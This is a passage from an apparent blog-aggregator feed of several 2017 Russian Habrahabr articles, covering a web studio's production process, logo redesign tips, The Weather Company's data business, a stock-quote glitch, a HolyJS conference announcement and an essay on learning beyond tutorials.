Для оперативного планирования загрузки участков используется информационное табло, на котором видно, сколько проектов на линии в текущий момент, в каком статусе и какие сроки выпуска. На табло используется понятный всем принцип светофора. Зеленый — проект укладывается в сроки, желтый — сроки близки к дедлайну, красный — проект опаздывает. Цвет проекта говорит о том, с каким приоритетом им нужно заняться.



На каждом производственном участке есть руководитель группы. Он занимается планированием, отвечает за качественное выполнение операций в соответствии с нормативами и регламентом, обеспечивает обучение и рост новичков. В общем, курирует бесперебойную работу своего отрезка конвейера. По завершению производства собирается статистика, и проект оценивается по четырем основным параметрам: сроки в календарных днях, сроки в нормо-днях, выполнение нормативы в нормо-часах и отзыв клиента. Это позволяет объективно определить успешность проекта. Об этом подробнее расскажу чуть позже в статье про мониторинг производства.

Особенности этапов производства сайтов на конвейре


Постановка в работу. Прежде чем проект пойдет в работу — менеджер формирует задание на разработку. Задание в нашем случае — это рабочий прототип сайта. По принципу «канапе» менеджер формирует модульный состав проекта. Каждый из модулей обладает рядом визуальных и функциональных состояний, правильно подбирая которые, мы получаем качественную заготовку для будущего сайта. Задача менеджера на данном этапе выбрать наиболее оптимальные проверенные варианты решений, которые подходят для конкретных задач клиента. Дальше с этими модулями будут работать дизайнеры, копирайтеры и программисты.

Дизайн и верстка. Графическая сетка типовых решений сайтов продумывается и тестируется отдельным подразделением. Примерно раз в квартал она обновляется, попадает в релиз базовой сборки и уже далее на конвейер. Основная работа дизайнера на конвейере – сделать дизайн в рамках стандартной сетки, подобранной менеджером для данного клиента на этапе постановки проекта в работу. Основной фокус в проработке промо-составляющей сайта, чтобы за несколько секунд заинтересовать посетителя и показать, что он попал туда, куда хотел. Дополнительно прорабатываются интерфейсные элементы (или модули) сайта, чтобы придать сайту свою стилистику и правильно расставить акценты.

Все графические элементы базовой сетки (в PSD) заранее сгруппированы в смарт-объекты (меню, шапка, авторизация и прочее), с которыми потом дизайнер работает. Это сделано для удобства и порядка. Вот тут два монитора дизайнеру очень пригодятся. В одном дизайнер работает со смарт-объектом, а во втором видит сайт целиком. Если все правильно подготовить, то на этом экономится куча времени и результат получается стандартно хорошим.

Дополнительно отмечу, что в рамках ограничений (время, стандартная сетка) часто получается результат лучше, чем при полете фантазии и отсутствии ограничений.

Наполнение. Сначала готовятся тексты. На этой фазе необходимо добиться, как минимум 97% уникальности. Это необходимо для дальнейшего успешного поискового продвижения. Для проверки используется программа ETXT.

При размещении текстов на сайт используются готовые в админке шаблоны оформления текстов, своего рода конструктор текстовых блоков. Это позволяет контент-менеджерам, не привлекая дизайнера и верстальщика, быстро сделать качественное наполнение сайта.

Дополнительно используются служебные шаблоны. Они необходимы больше для поисковых систем. Это фрагменты сайта, находящиеся в специальной микроразметке, которую видят только поисковые системы. С ее помощью поисковики понимают, где на сайте телефон, адрес, товары, отзывы и другие, что в свою очередь хорошо сказывается на результатах выдачи сайта в поисковых системах. О важности этого еще на этапе создания сайта – я уже говорил выше.

Разработка функционала. При необходимости разработки уникального функционала, не входящего в базовую сборку, проект идет на участок программирования. По нажатию кнопки, программист создает копию базовой площадки для ее доработки. Все изменения программного кода фиксируются через систему контроля версий. Это позволяет впоследствии (на этапе технической поддержки) видеть историю доработок проекта. Когда доработки готовы, копия площадки сливается с основной, и проект передается на тестирование.

Тестирование. Тестирование проходит в две итерации. На первом шаге тестировщики проверяют корректность работы сайта (правильная настройка параметров поисковой оптимизации, работу форм…). На втором шаге тестировщик смотрит общее состояние проекта на предмет соответствия критериям качества (внешний вид, наполнение, тексты уведомлений, работу нестандартного функционала и пр). Эти же две итерации выполняются после того, как проект выложен на хостинг и привязан домен.

Завершение проекта. На данном этапе решается много организационных задач. Получается вторая часть оплаты. Собирается вся статистика с производственных участков (время разработки в нормо-днях, фактических днях, в часах), чтобы сравнить собранные показатели с плановыми (это понадобится для корректировки премий менеджерского состава).

Запрашивается отзыв у клиента. Проект публикуется в портфолио, передается на гарантийную поддержку и в отдел продвижения.

Я перечислил основные этапы движения проекта. Только на этапе сдачи проекта более 30 пунктов, которые необходимо выполнить менеджеру. Чтобы все это не забыть, мы используем корпоративный свод регламентов и правил. Это такая толстая настольная книга менеджеров.

Вместо заключения


Что важно для клиента? Цена. Сроки. Качество. Что гарантирует конвейер?
  • Автоматизация существенно снижает себестоимость производства — цена
  • Лента конвейера точно прибудет к назначенной дате — сроки
  • Все этапы будут пройдены, все регламенты будут выполнены — качество

Конечно, не все идеально в этом мире. И на конвейерах бывают сбои. Но, если стремиться к совершенству, можно добиваться неплохих результатов. Если есть вопросы, готовы на них ответить. В следующем выпуске расскажу про дополнительные особенности производства и этапы сдачи сайта клиенту.

Все предыдущие материалы доступны в базовой статье.

Команда WebCanape
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332412/


Метки:  

5 свежих примеров разбора и улучшения дизайна простыми способами

Четверг, 06 Июля 2017 г. 12:04 + в цитатник
Всем привет! Мы дизайн студия и у нас в паблике есть рубрика, в которой мы даем советы по улучшению дизайна, всем желающим. Сегодня мы хотим рассказать о некоторых приемах, которые могут помочь и вам, на примере участников нашей рубрики. Надеемся, что наши советы помогут вам лучше понимать дизайн!

image

FotoFast: убираем обводку


FotoFast — небольшой фотосалон из Петербурга. Они обратились к нам, чтобы мы подсказали приемы, для улучшения для их логотипа. Прикидываем, что можно сделать:
image
Убираем тяжелую, черную обводку и подбираем контрастные цвета — белый и зеленый. Теперь необходимость в обводке отпала, цвета делают работу за нее. Мы бы предложили “FotoFast” использовать такой прием, как динамическая айдентика:


image

Так, могла бы выглядеть вывеска “FotoFast” днем и в ночное время:

image

Итог

Плюсы:

+ Логотип стал выглядеть современно, название компании легко читается

Минусы:

— Возможно слишком модно для фотостудии

Cloby: добавляем мягкости


Cloby — ателье, которое занимается пошивом одежды по детским рисункам.
Здесь такая же проблема, как и у “FotoFast” — черная обводка, которая ничего не добавляет логотипу, а только мешает. Если компания хочет выглядеть уютно и дружелюбно, то от обводки в этом случае лучше избавиться.

Мы убрали обводку, усилили эффект рисунка от руки внутри букв и добавили нежных, пастельных цветов:
image

Один из главных фирменных носителей для “Clobby” — коробка для упаковки готовой одежды. Примеряем новый логотип на нее:

image

Звездочку можно использовать, как элемент, который будет делать любой носитель от маленького, до крупного — фирменным. Например, как здесь:

image

Подведем итог

Плюсы

+ Логотип стал мягче, появилась “игривость”

Минусы

— Буква “B” в этом шрифте вызывает смешанные ассоциации, ее лучше заменить

— Без обводки логотип стал хуже читаться

Орион: делаем современней


В случае с Орионом, логотип можно сделать более современным, если избавиться от устаревшего приема — использования массивного знака вместо буквы.

Нам понравилась идея оригинального знака — в исходном варианте использованы цвета CMYK, из которых при печати получаются все остальные цвета. Мы применили ее в новом логотипе, наложив цвета друг на друга. Это создает оптический эффект — в маленьком размере цвета логотипа меняются на зеленый-красный-фиолетовый.
image

Теперь, знак удобно размещать на фирменных носителях, к примеру вот так:

image

image

Итог

Плюсы

+ Логотип стал проще и современней

Минусы

— Знак получился нетипичным для типографии

— Стало похоже на «Роснано» :)


RNDR: улучшаем читаемость


image
Нам прислали вот такой знак, и оказалось он читается не PNDP а RNDR.
Попробуем исправить шрифт, чтобы можно было прочесть правильно:
image
Последняя «R», все равно плохо считывается. Чтобы улучшить читаемость, можно использовать такой прием:
image

Итог

+ Теперь название можно прочитать

Friend Zone: делаем знак четче


Friend Zone — маленькая городская кофейня, владельцам очень нравится гик-тематика, именно поэтому они использовали трифорс в своем логотипе.
image

Шрифт в лого не соответствует знаку — он слишком мягкий по сравнению с трифорсом, чтобы исправить это — можно сделать его более острым. Если заменить стандартную кофейно-желтую палитру на что-то необычное, будет легче выделиться на фоне конкурентов :)

Прикидываем, как Friend Zone будет выглядеть в жизни:

image

В социальных сетях:

image

Подводим итог

+ Знак стал чище

+ С таким логотипом легче выделяться на фоне других кофеен

— Хипстерская тематика уже порядком поднадоела.

— Логотип получился острее и жестче, что плохо вяжется с названием “Friend Zone”.


Общий итог


Мы показали всего несколько способов, с помощью которых можно улучшить свой дизайн. Все это — примеры, как возможно упростить графику для улучшения восприятия. Большинство наших участников забрали бесплатно варианты, которые мы предложили.

Если вам необходим совет по вашему проекту, оставляйте сообщение с хештегом #logomachine_help в соцсетях — мы следим за ним и выбираем кандидатов на редизайн. И, как всегда, удачного дизайна вашим проектам!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332540/


Метки:  

Делаем деньги из дождя или засухи. Опыт The Weather Company

Четверг, 06 Июля 2017 г. 11:45 + в цитатник
image

В последние несколько месяцев одной из главных тем обсуждения в европейской части России была погода. Уж слишком она была неоднозначной и неожиданной этой весной. Ураганы были разрушительными, устранение последствий выражается в сотнях миллионах рублей, нередки были трагические исходы – неужели всего этого нельзя было избежать, или хотя бы снизить эффект? Возможно, немногие задумывались о том, как сильно погода влияет на наш образ жизни.

Разве мы не меняем планы на выходные, если идет дождь, или, наоборот, стремимся в парки, если на улице хорошая погода? Разве погода и метеоусловия не влияют на то, что мы едим, какую одежду носим, что и где покупаем? Опыт The Weather Company показывает, что точный прогноз погоды не только влияет на различные отрасли в мире, но и может быть коммерчески успешным.

Наши привычки зависят от погоды

Ряд крупнейших ритейловых компаний в мире уже использует знания о погоде и выстраивают свои маркетинговые кампании в зависимости от нее. К примеру, Walmart уже несколько лет отображает на сайте продукцию в зависимости от погодных условий: если идет дождь, то клиентам в первую очередь будут предложены зонты, если ожидается похолодание, то в начале списка будут теплые вещи. Но, стоит признать, это достаточно простые корреляции. Если проводить анализ дальше, то можно найти весьма интересные зависимости, которые, на первый взгляд, неочевидны. К примеру, опыт Walmart показал, что ветер может влиять на покупку ягод: люди покупают больше, когда на улице небольшой ветер и температура не более 26 градусов Цельсия.

Компания начала активно рекламировать продукцию в тех регионах, где часто встречаются такие погодные условия, и в итоге смогла увеличить продажи в 3 раза. Также была найдена зависимость, что люди покупают фарш, когда на улице достаточно тепло, слабый ветер и солнечно. Салаты продаются лучше, когда на улице слабый ветер и температура не больше 25 C. Компания начала предлагать бургеры в местах, соответствующих этим условиям, и смогла поднять продажи на 18%. Более того, помимо таргетированных предложений клиентам, эти знания помогают более точно распределить маркетинговые кампании на партнерские сети: в каких магазинах разрешать рекламу того или иного партнера.

Источник погодных данных для Walmart — результат партнерства с The Weather Company. Согласно анализу, проведенному ForecastWatch, прогнозы The Weather Company являются наиболее точными.



А так ли просто давать точный прогноз? Статистика The Weather Company.

Наверное, большинство читателей согласится, что метеослужбы не всегда точно предсказывают температуру даже на день вперед, а ведь для точной маркетинговой кампании речь может идти о прогнозе количества осадков в определенном небольшом регионе. Как сделать это возможным?

Чтобы дать наиболее точный прогноз, недостаточно получать данные лишь со специализированных метеостанций. Помимо этого, The Weather Company использует информацию с более, чем 800 различных типов источников данных, включая 40 млн мобильных устройств, где установлено приложение, а не просто находится виджет с погодой (таких намного больше), 200 000 персональных метеостанций, расположенных по всему миру, и даже показания с 50 000 авирейсов в день. В итоге получается больше 100 Тб данных, поступающих ежедневно. Все это в совокупности позволяет обновлять прогноз каждые 15 минут и предоставлять его с точностью до 500 квадратных метров в некоторых регионах мира.

The Weather Company – IBM Business

Многие из пользователей мобильных телефонов даже и не догадываются, что прогноз погоды им предоставляет IBM. Как это происходит? К примеру, на устройствах Apple (как на телефонах, так и на планшетах) виджет погоды берет информацию от The Weather Company (TWC). Более того, с недавнего времени сервис от TWC будет нативным или предустановленным сервисом погоды на всех устройствах Samsung S8 или S8+. Казалось бы, как связаны The Weather Company и IBM? Чуть более года назад IBM закрыл сделку по приобретению этой компании, в которую также входят сайт weather.com и сервис Weather Underground.



Сценарии использования сервисов The Weather Company по индустриям

Ритейл

В своем недавнем исследовании Business Insider провел анализ возможностей крупнейших ритейловых компаний США по доставке продукции дронами. Не секрет, что Amazon видит большое влияние на будущее развитие электронной коммерции именно в доставке с помощью дронов и активно развивает это направление. Исследование на основе данных от The Weather Company показало, что текущие возможности Walmart и Target делают их более подготовленными к внедрению технологии доставки дронами. Дело в том, что дальность доставки дроном невелика (до 6 миль), а 49% пользователей приложения The Weather Company живут в пределах этого расстояния от магазинов Walmart. Для сети Target доля таких покупателей составляет 47%. В случае Amazon 44% клиентов живут в пределах 20 миль, что на текущий момент слишком большая дистанция для поставки продукции дронами. Поэтому компании придется нести дополнительные расходы на строительство специальных центров и складов, чтобы сократить дистанции, а Walmart и Target могут использовать свои магазины как площадки для запуска дронов.

Этот пример хорошо демонстрирует, что коммерциализировать можно не только предсказание погоды, но и сервис, предоставляющий информацию о локации из приложения с мобильного телефона.

Энергетика

Помимо влияния на распорядок дня людей, погода вносит коррективы в работу целых отраслей, будь то страхование, логистика, энергетика. К примеру, специальные сервисы The Weather Company помогают за 72 часа заранее спрогнозировать возможные аварии или отказы оборудования на предприятии из-за серьезной непогоды. В их основе находятся созданные модели и алгоритмы машинного обучения на базе как текущих, так и исторических данных. Комбинируя всю эту информацию, сервис помогает определить, в каком районе и для какой части инфраструктуры угроза максимальна и помогает оценить риски. Отдельным решением является сервис оповещения рабочих, например, на участке электросетей, о надвигающейся угрозе для обеспечения их безопасности.

Страхование

Схожий сценарий возможен и для рынка страхования: страховые компании могут встраивать сервисы оповещения о плохой погоде в свои приложения, делая их более ценными для клиента. И это лишь одно из направлений. В целом все сценарии для страхования можно поделить на 3 группы: вовлечение клиента, управление рисками и снижение случаев страхового возмещения.

Для третьей группы сценариев стоит отметить, что для страховой компании самый выгодный страховой случай — тот, который не наступил. Поэтому ряд компаний делает рассылку своим клиентам на основе данных от The Weather Company с рекомендациями и действиями, как избежать проблем из-за погоды, например, переставить машину в закрытое место для автомобилистов или убрать воду из труб в связи с резким похолоданием для владельцев домов. Исследование IBM Institute of Business Value показало, что из всех людей, оставивших заявки на возмещение по страховому случаю после непогоды, лишь 3% было оповещено заранее. Также понимание возможных рисков помогает страховым компаниям подготовить процесс компенсации заранее, что напрямую сказывается на состоянии удовлетворенности клиентов. То же исследование приводит статистику, что уровень лояльности и удовлетворенности действиями компании вырос на 18% для тех, кто получил компенсацию в течение одной недели после страхового случая.

Трейдинг

Погодные условия также оказывают сильное влияние на торговые операции и трейдинг. Статистика за 2012 год показывает, что общие финансовые потери в производстве зерна из-за засухи составили 25 млрд долларов, а суммы страхового ущерба достигли 12 млрд долларов. В итоге мировые цены подскочили до рекордного уровня с 2008 года. Один из сервисов The Weather Company за счет сезонного предсказания изменений климата помогает оценить риски и уменьшить сумму как потерь для трейдеров, так и выплат из-за нанесенного ущерба для страховых компаний.

Логистика

Согласно исследованию Департамента Транспорта США стоимость задержек в доставке грузов из-за погодных условий оценивается в 8,7 млрд долларов ежегодно. Для снижения этих расходов The Weather Company предоставляет сервис оперативной панель по управлению наземными транспортировками. Панель включает в себя информацию о погодных условиях, состоянии дорог и трафика. Также сервис помогает прокладывать оптимальные маршруты и оповещать водителей об изменении погодных условий.

Маркетинг

И, конечно, область, активно использующая метеоданные – это маркетинг. В начале уже приводился пример Walmart,

The Weather Company – цифровая компания

Очевидно, что The Weather Company – это не просто метеорологическая служба, которая дает текущее состояние на улице или прогноз погоды на несколько дней, но и яркий пример настоящей цифровой модели бизнеса. Что это значит? Все сервисы, которые дает TWC, предоставляются в цифровой форме через механизм открытых API. На текущий момент у компании 9 групп таких сервисов. По сути это и есть модель ведения бизнеса, к которой стремятся многие из существующих организаций.

Единственное, что остается в не оцифрованном виде в случае The Weather Company – это источники данных или датчики: к примеру, метеостанции. Также в компании работает больше 100 data scientists – специалистов по работе с данными. Перечень их задач – составление моделей поведения и нахождение зависимости образа жизни людей от погоды. Благодаря их работе The Weather Company предоставляет уже готовый сервис через API по предсказанию, например, условий игры в гольф, бега и катания на лыжах. Также у сторонних компаний есть возможность купить сырые данные, чтобы затем их анализировать самостоятельно.



Платформа и технологии

И в конце еще немного о технологиях. Очевидно, что платформа, на которой базируется The Weather Company, должна быть способна обрабатывать огромное количество данных в режиме, близком к реальному времени. Все это становится возможным благодаря использованию самых разных технологий: от реляционных баз данных до вычислений в памяти и графо-ориентированных баз. Этот пример хорошо демонстрирует идею, что нельзя создать большую платформу по хранению и обработки данных на какой-либо одной технологии.

Также одним из главных принципов построения платформы является модульность – платформа The Weather Company может работать в нескольких облачных центрах обработки данных. Во многом именно уникальность созданной платформы, помимо перспективного бизнеса, была одной из основных причин покупки компании корпорацией IBM. На текущий момент IBM активно встраивает платформу The Weather Company в свои текущие системы и решения, используя накопленный опыт в области работы с данными и получения информации от различных источников.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332536/


Метки:  

Стоимость акций Amazon, Apple и Microsoft сравнялась в результате технического сбоя

Четверг, 06 Июля 2017 г. 11:28 + в цитатник
image

В минувший понедельник трейдеры, следившие за событиями на рынке через Google Finance, Yahoo Finance, а также торговые терминалы Bloomberg и Thomson Reuters, заметили резкий скачок цен на акции ряда крупных компаний. Некоторые из них, например, Amazon и Apple, значительно потеряли в стоимости, другие, напротив, выросли.

Однако никаких значимых перемен в тот момент на рынке не произошло, торговые площадки просто представили некорректную информацию. Причиной ошибки могли стать неверные данные от сторонних провайдеров.

Что случилось


Инцидент произошел на американских торговых площадках в понедельник 3 июля. К 11 часам вечера по североамериканскому восточному времени цена акций компании Amazon снизилась на 87%, составив $123,47. Такие данные представила торговая площадка Google Finance. Незадолго до этого Yahoo Finance показала, что акции Amazon подешевели на 74% и торгуются по цене $248,49. В реальности же к концу дня ценные бумаги компании потеряли всего 1,5% (цена составила $953,66), а после закрытия торгов подросли на 0,1%.

В похожей ситуации оказалась и компания Apple. По данным Google и Yahoo Finance стоимость ее акций снизилась на 14% и составила $123,47. На самом же деле к концу торгов акции потеряли всего 0,4% и стоили $143,50.

Seems like all systems are running at 123.47% over at good ole' @NYSE! pic.twitter.com/2IvhkVaISk

— Anil Dash (@anildash) July 4, 2017

Любопытно, что цена акций и Amazon, и Apple составила именно $123,47. Этот показатель стал общим и для большинства других компаний. Но если для вышеупомянутых Amazon и Apple это значило обвал, то для остальных — стремительный рост. К примеру, стоимость акций eBay выросла на 253%, Mattel Inc. — на 473%, Microsoft Corp. — на 79%.

Если бы упомянутые скачки цен были реальными, это привело бы к колоссальным последствиям для компаний, сообщает The Wall Street Journal. В частности, капитализация Apple и Amazon снизилась бы на $104 млрд и $369 млрд соответственно. Microsoft, напротив, прибавила бы $415 млрд.



Кто виноват


Причиной инцидента стало то, что на Google Finance, Yahoo Finance и Bloomberg были опубликованы так называемые тестовые данные. Но вопрос о том, кто именно предоставил неверную информацию, остается открытым. Как сообщает РБК, в Bloomberg журналистов попросили направлять все вопросы о случившемся в Nasdaq. В Google также заявили, что некорректные данные получены с биржи, хотя и через третьих лиц.

В свою очередь, Nasdaq своей вины в случившемся не видит. Представитель организации Джон Кристинат сообщил, что ошибку допустили сторонние провайдеры, чьими услугами пользуются торговые площадки. Спикер заявил: «это проблема поставщика, не проблема Nasdaq».

Издание MarketWatch приводит похожие слова представителя Nasdaq хотя и без упоминания конкретных имен: «UTP создает тестовые данные, и это часть нормального рабочего процесса. Проблема возникает, когда третьи лица по ошибке распространяют эти данные. Nasdaq работает со сторонними поставщиками для решения вопроса».

Стоит отметить, что после 11 вечера в понедельник по североамериканскому восточному времени Yahoo Finance и Bloomberg начали показывать корректную информацию, а вот на Google Finance все еще висели тестовые данные. Поставляют их компании швейцарская SIX Financial Information (показывает цены к концу дня) и нью-йоркская Interactive Data Real-Time Services, Inc. (цены в течение дня). Нью-йоркские поставщики данных на запрос MarketWatch не ответили. А вот швейцарцы поспешили откреститься от всех обвинений. По заявлению их представителей, компания проверила предоставленные данные и не нашла в них никаких ошибок или искажений.

В Nasdaq считают, что путаница могла возникнуть из-за раннего закрытия торгов в понедельник. 4 июля в США празднуют День независимости, поэтому накануне торговля на Nasdaq прекратилась в 13.00 по североамериканскому восточному времени. После закрытия официальной сессии ценные бумаги на бирже, как правило, торгуются ещё четыре часа.

Последствия для трейдеров и биржи


В предпраздничный день Nasdaq оповестила трейдеров о раннем закрытии торгов и попросила считать тестовыми данными любую информацию, распространяющуюся после 17.16 по североамериканскому восточному времени. Возможно, именно поэтому сбой не привел к серьезным последствиям. РБК сообщает, ни на одну реальную сделку ошибка в данных не повлияла.

Сбой удалось устранить оперативно, уже на следующий день Nasdaq сообщила, что все системы работают нормально. Однако по данным агентства экономической информации ПРАЙМ, не все котировки акций достоверны. В частности, некорректно отображалась на Google Finance стоимость акций Amgen Inc. Сообщается, что во вторник утром она упала на 28% до $123,4. Накануне же эти акции закрылись по $172,8.

Внезапные обвалы происходили на Nasdaq и ранее. Так, в конце июня 2017 акции Facebook, Apple, Microsoft, Amazon, Alphabet и других крупных IT-компаний упали в цене на 3-4%. По мнению финансистов, это была корректировка после продолжительного роста.

Финансовые компании разрабатывают собственные инструменты, которые помогают минимизировать последствия подобных сбоев. Ошибки в работе биржевых систем могут приводить не только к некорректному отображению торговых данных, но и к неверному расчету гарантийного обеспечения для удержания позиции, что может привести даже к преждевременному закрытию сделки.

Для того, чтобы минимизировать возможный ущерб брокерские компании разрабатывают различные системы защиты клиентов. О том, как реализована подобная защита в торговой системе ITinvest MatriX можно прочитать по ссылке.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332522/


Метки:  

Анонс конференции HolyJS 2017 Moscow: Два дня чистого JS

Четверг, 06 Июля 2017 г. 10:42 + в цитатник
В этом году JavaScript обошел PHP в рейтинге TIOBE. Важно это или нет? Наверное, не очень. Более важно то, что язык продолжает активно расти и развиваться, несмотря на то, что кому-то вектор развития может не нравиться.

Вообще, делать HolyJS всегда приятно. Пока в мире Java мы уже на протяжении четырех конференций (два Joker и две JPoint) ждем релиза новой версии, JS продолжает обрастать новыми фичами и хайповыми фреймворками, да так быстро, что наш программный комитет с трудом поспевает. Хорошо, что программа конференции строится не столько вокруг хайповых продуктов, сколько вокруг вещей, полезных в жизни, а их выходит существенно меньше.



Прошедшая в этом году HolyJS в Питере разрослась до полутысячи участников и двух дней, а о том, что будет с HolyJS 2017 Moscow, которая пройдет 10-11 декабря в Radisson Славянская, читайте под катом.

Два дня


Не могу не заняться самоповтором и не выложить прекрасный твит о двухдневности HolyJS во второй раз, для тех, кто пропустил анонс питерской конференции:

— Следующая @HolyJSconf будет идти 2 дня? — Да, в 1ый день просто зачитают названия фреймворков, успевших выйти после предыдущей конференции

— Kir (@octav47) February 9, 2017


Как вы поняли, мы уже обкатали двухдневный формат в Питере, получилось хорошо. Чтобы в комментариях вы меня не пытались подловить, говорю сразу: докладов будет не в 2 раза больше, зато за счет двухдневного формата вы сможете посетить больше докладов (скорее всего, 14 временных слотов за два дня вместо 8 за один). Более того, мы скорее всего повторим практику прошлого раза и сделаем один из дней двухтрековым, чтобы отбирать доклады строже и требовательнее.

Доклады будут немного длиннее – по 60 минут на слот, а мучить спикеров личными и не очень вопросами в дискуссионных зонах можно будет в два раза дольше. Наконец, можно будет банально взять паузу, если в какой-то момент почувствуете, что ваш мозг начинает потихоньку вытекать из ушей.

А для тех, кому двух дней будет мало, будет еще и третий день с большими воркшопами, но об этом я расскажу чуть позже.

Докладчики и программа конференции


Douglas Crockford – дифирамбы Дугласу я пел еще в прошлый раз и готов делать это снова. В Петербурге удалось познакомиться с легендой JS лично, посмотреть пару его докладов вживую и пообщаться не только о судьбах ЯП, но и «за жизнь». Мы как организаторы ни на секунду не пожалели о том, что пришлось оплачивать для Дугласа бизнес-класс из США и обратно (когда я узнал, сколько это стоит, я поседел) — поэтому я рад сообщить, что в этот раз Дуглас будет в Москве. Скорее всего, у него снова будет два доклада: Post Javascript Apocalypse и доклад об асинхронном программировании.

Виталий Фридман – главный редактор Smashing magazine, веб-дизайнер и разработчик. Пока тема его доклада еще не выбрана, однако скорее всего это будет одно из двух:
  • New Adventures in Responsive Web Design — доклад о том, как построить быстрые, отказоустойчивые и гибкие системы, позволяющие реализовать отзывчивый веб-дизайн, на базе HTTP/2, Service Workers, Responsive Images, Flexbox, SVG и Font Loading API;
  • Big Bang Redesign: Smashing Magazine’s 2017 Relaunch, a Case Study — подробный разбор переезда Smashing Magazine на совершенно новые технологии в 2017 году. Доклад планируется не абстрактно-развлекательный, кроме провалов и уcпешных решений, Виталий расскажет, как они используют HTTP/2, service workers и serverless architecture для генератора статических сайтов. Будет немного React, Firefox, CSS и рассказ о GitHub-based процессе редактирования.

Martin Splitt — один из контрибьюторов WebVR, завсегдатай front-end и JavaScript-конференций, стабильно входящий в топ-3 докладчиков. Тема Мартина пока не ясна, но в одном можно быть уверенным: это будет не только весело и интересно, но и полезно. Видео с прошлой конференции в Москве.

Thomas Watson – мейнтенер доброй сотни open source проектов и член Node.js Diagnostics Working Group. В прошлый раз Томас порадовал участников хардкорным докладом про профилирование Node.js. В этот раз будет что-то новое, не менее хардкорное и зажигательное (привет, FlameGraph)

Mathias Buus Madsen – большой фанат P2P и open source, Матиас тоже радует хардкорностью докладов. В прошлый раз он рассказывал о создании полностью P2P реализации модулярного «dropbox» без ограничения на размер файлов, а в этот раз речь пойдет о P2P хранилище «ключ-значение», работающем как в браузере, так и в нодах. Речь пойдет о том, как все это работает, о модели безопасности и том, какие крутые штуки можно делать с помощью HyperDB (так называется сабж).

Lea Verou – автор книги «CSS Secrets» и один из экспертов CSS Working Group. Пока кто-то делит людей на «разработчиков-технарей» и «дизайнеров-гуманитариев», Лия известна своей любовью и к коду, и к дизайну, что она и реализовала на практике в нескольких open source проектах (Prism, Dabblet и -prefix-free). Тема, с которой Лия будет выступать, пока не определена, и у вас есть возможность повлиять на это решение. Для этого пройдите по ссылке и оставьте свой голос за один из возможных докладов (всего 3 варианта).

Это самые «горячие» докладчики, если же говорить о программе в целом, планируется следующий лайнап: 4 архитектурных доклада; 4 доклада, посвященных языку/спецификациям; 3 доклада по реакту, 2 — по ангуляру; несколько докладов посвятим рантайму JS, по паре докладов о веб компонентах и node.js, ну и кое-что еще из области интересного и любопытного.

День воркшопов


Как я и обещал в начале, расскажу немного о третьем дне HolyJS 2017 Moscow. Впервые в этом году мы сделаем выделенный день под тренинги и воркшопы. Каждый воркшоп — отдельное мероприятие длиной в 6-8 часов, максимально практическое, где у вас будет возможность не только послушать что-то новое, но и время для того, чтобы это дело «пощупать» и задать ведущему свои вопросы. По сути за один день вы получите достаточно знаний и навыков, чтобы дальше самостоятельно разбираться с технологией, не заглядывая в гугл каждые 15 минут. Подробных описаний воркшопов нет, зато есть список ведущих и почти у всех из них есть темы:
  1. Виталий Фридман — Smart UX Design Patterns;
  2. Денис Мишунов — воркшоп, посвященный перфомансу в вебе. Со всех точек зрения: от технологий до психологии пользователя;
  3. Mathias Buus Madsen разберет по косточкам WebAssembly;
  4. Slobodan Stojanovic — пока непонятно.

Call For Papers, или подавайте нам доклад




Если вы любите не только получать знания, но и делиться ими, обратите внимание: сейчас самое время подать нам доклад! Хотя наш строгий программный комитет включает в программу только по-настоящему хорошие выступления, тот же самый комитет и помогает спикерам довести их перспективные наработки до подходящего уровня — поэтому даже если у вас нет большого опыта выступлений, но есть интересная тема, не бойтесь обращаться.

А если опыт есть, ссылайтесь на видеозаписи докладов, которые делали ранее, и это значительно ускорит принятие решения программным комитетом.

Главное требование: ваш доклад должен быть полезен другим разработчикам. Мы заинтересованы в докладах по следующим темам:
  • Архитектура современных JS-приложений
  • JS и спецификация ECMAScript
  • Практика применения ES6 и ES7
  • Вопросы оптимизации и производительности
  • Функциональное программирование на JS
  • Node.js: best practices, performance, memory management
  • Kлиент-серверная синхронизация
  • Тестирование приложений
  • Chrome DevTools
  • Работа с графикой (WebGL, D3.js и т.п.)
  • Web API (Bluetooth, Network API, IndexedDB, Web Notifications и т.п.)
  • WebAssembly
  • JS engines
  • JS на устройствах
  • Progressive Web Apps
  • Service Workers
  • Desktop apps (Electron и т.п.)
  • Workflow веб-разработчика

Регистрация


Программа конференции будет постепенно пополняться, и следить за её самым актуальным состоянием можно на сайте HolyJS 2017 Moscow. А уже сейчас на этом сайте открыта продажа билетов — до конца июля действует early bird цена. Поэтому за развитием программы лучше следить с билетом в кармане :)
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332414/


Метки:  

[Перевод] Как вырваться из чтения туториалов по программированию

Четверг, 06 Июля 2017 г. 09:55 + в цитатник

У всех это было: учишь какой-то язык, штудируешь один учебник за другим — и ничего. Тогда начинаешь сомневаться: «это слишком сложно», «программирование, наверное, не для меня». Уверен, это чувство вам знакомо.

Меня самого недавно настигла эта напасть: мне — уже неплохо освоившемуся младшему PHP-разработчику — вдруг захотелось слегка глубже изучить Python, особенно Django.

Поискав в Интернете, я нашел чуть ли не идеальное руководство: достаточно сложное, чтобы было интересно, но и не слишком перегруженное.

Там предусматривалась работа над проектом, и мне понравился его конечный внешний вид. Казалось даже, что это будет достаточно интересно, чтобы добавить к моему постоянно растущему портфолио.

Однако осилив 80% руководства, я начал сомневаться. Я просмотрел видео и вручную переписал весь код. У меня был отличный проект, который можно показать другим. Так почему же мне казалось, что за все это время навыков у меня не прибавилось?

Переведено в Alconost


Несколько недель я по вечерам работал с этим руководством, и в итоге у меня был красивый законченный проект. Но даже тогда мне все еще не казалось, что я узнал достаточно, чтобы воспроизвести этот проект без руководства. А тогда разве можно использовать его в портфолио?

И вообще, впечатлит ли проект в портфолио, который выглядит и работает так же, как и у всех остальных, кто делал его по руководству? Ведь в нем и код точь-в-точь, как в GitHub-профиле автора руководства…

Показал ли я хоть какие-то собственные навыки, кроме умения следовать пошаговым инструкциям?

Понимаете, изучать туториалы — это замечательно, ведь вы приобретаете новые навыки. Но если ограничиться только ими, не получится научиться тому, без чего не стать успешным разработчиком (даже младшим). Я говорю вот о чем:

  • планирование и организация проекта;
  • правильный выбор инструментов для данной бизнес-задачи;
  • исследование собственных проблем и поиск их решения;
  • разрешение проблем, неизбежно возникающих во время разработки.

